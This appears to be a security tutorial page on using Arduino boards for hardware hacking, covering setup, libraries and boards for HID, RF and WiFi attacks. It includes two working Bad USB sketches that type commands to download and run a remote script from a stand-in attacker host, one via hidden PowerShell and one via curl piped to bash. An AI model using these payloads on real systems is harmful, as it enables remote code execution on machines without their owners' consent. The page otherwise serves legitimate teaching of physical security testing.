Techzone/Arduino

Arduino

2 min readArticle

Arduino is an open-source electronics platform — a microcontroller board with an easy IDE. It's not a full computer (no OS), it just runs one program at a time in a loop. Used in physical security, hardware hacking, and building custom attack tools. The language is a simplified C/C++.

Security Relevance

  • Bad USB / HID attacks — Arduino with ATmega32u4 (Leonardo, Micro, Pro Micro) or Digispark can emulate a keyboard/mouse and inject keystrokes when plugged in
  • Physical security testing — building custom lock bypass tools, sensor testing
  • RF attacks — attach a radio module (nRF24L01, CC1101) to replay RF signals
  • RFID/NFC tools — build custom readers/writers
  • Wardrive hardware — combine with WiFi modules for autonomous scanning

Arduino IDE Setup

  1. Download from arduino.cc
  2. Install the IDE
  3. Select your board (Tools → Board)
  4. Select your port (Tools → Port)
  5. Write code, click Upload

Basic Structure

cpp
// Arduino sketch structure
void setup() {
    // Runs once at startup
    Serial.begin(9600);  // Initialize serial monitor
    pinMode(LED_BUILTIN, OUTPUT);  // Set pin mode
}

void loop() {
    // Runs forever in a loop
    digitalWrite(LED_BUILTIN, HIGH);  // LED on
    delay(1000);                       // Wait 1 second
    digitalWrite(LED_BUILTIN, LOW);   // LED off
    delay(1000);
}

Bad USB / HID Keyboard Attack

Arduino boards with native USB (Leonardo, Micro, Pro Micro) can act as keyboards:

cpp
#include <Keyboard.h>

void setup() {
    delay(2000);  // Wait for OS to detect device
    
    // Open Run dialog (Windows)
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(100);
    Keyboard.releaseAll();
    delay(500);
    
    // Type command
    Keyboard.println("powershell -WindowStyle hidden -Command \"IEX(New-Object Net.WebClient).downloadString('http://attacker.com/payload.ps1')\"");
    
    delay(500);
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
}

void loop() {}

Digispark (Tiny Bad USB)

Digispark is a tiny ATtiny85-based board, cheaper and smaller:

cpp
#include <DigiKeyboard.h>

void setup() {
    DigiKeyboard.delay(2000);
    
    // Open terminal on Mac
    DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);  // Spotlight
    DigiKeyboard.delay(500);
    DigiKeyboard.print("terminal");
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(1000);
    
    // Run command
    DigiKeyboard.println("curl -s http://attacker.com/payload.sh | bash");
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Wireless Modules for Arduino

cpp
// ESP8266 WiFi module — can scan networks, create APs
// NRF24L01 — 2.4GHz radio
// CC1101 — Sub-GHz radio (433MHz keyfob replay)
// PN532 — NFC/RFID reader/writer

Serial Monitor (Debugging)

cpp
Serial.begin(9600);
Serial.println("Hello from Arduino");
Serial.print("Value: ");
Serial.println(sensorValue);

Common Libraries

  • Keyboard.h — USB HID keyboard
  • Mouse.h — USB HID mouse
  • Wire.h — I2C communication
  • SPI.h — SPI communication
  • EEPROM.h — Read/write internal memory
  • Servo.h — Control servo motors

Boards Relevant for Security

Board Chip Use Case
Arduino Leonardo ATmega32u4 HID attacks
Arduino Micro ATmega32u4 HID attacks, small
Digispark ATtiny85 Ultra-compact Bad USB
ESP8266 (NodeMCU) ESP8266 WiFi attacks
ESP32 ESP32 WiFi + BLE attacks

See Also

  • raspberry-pi-guide - More capable platform for complex tools
  • rfid-nfc-tools - RFID/NFC attack tools
techzonesite.comUnlock Your IT Potential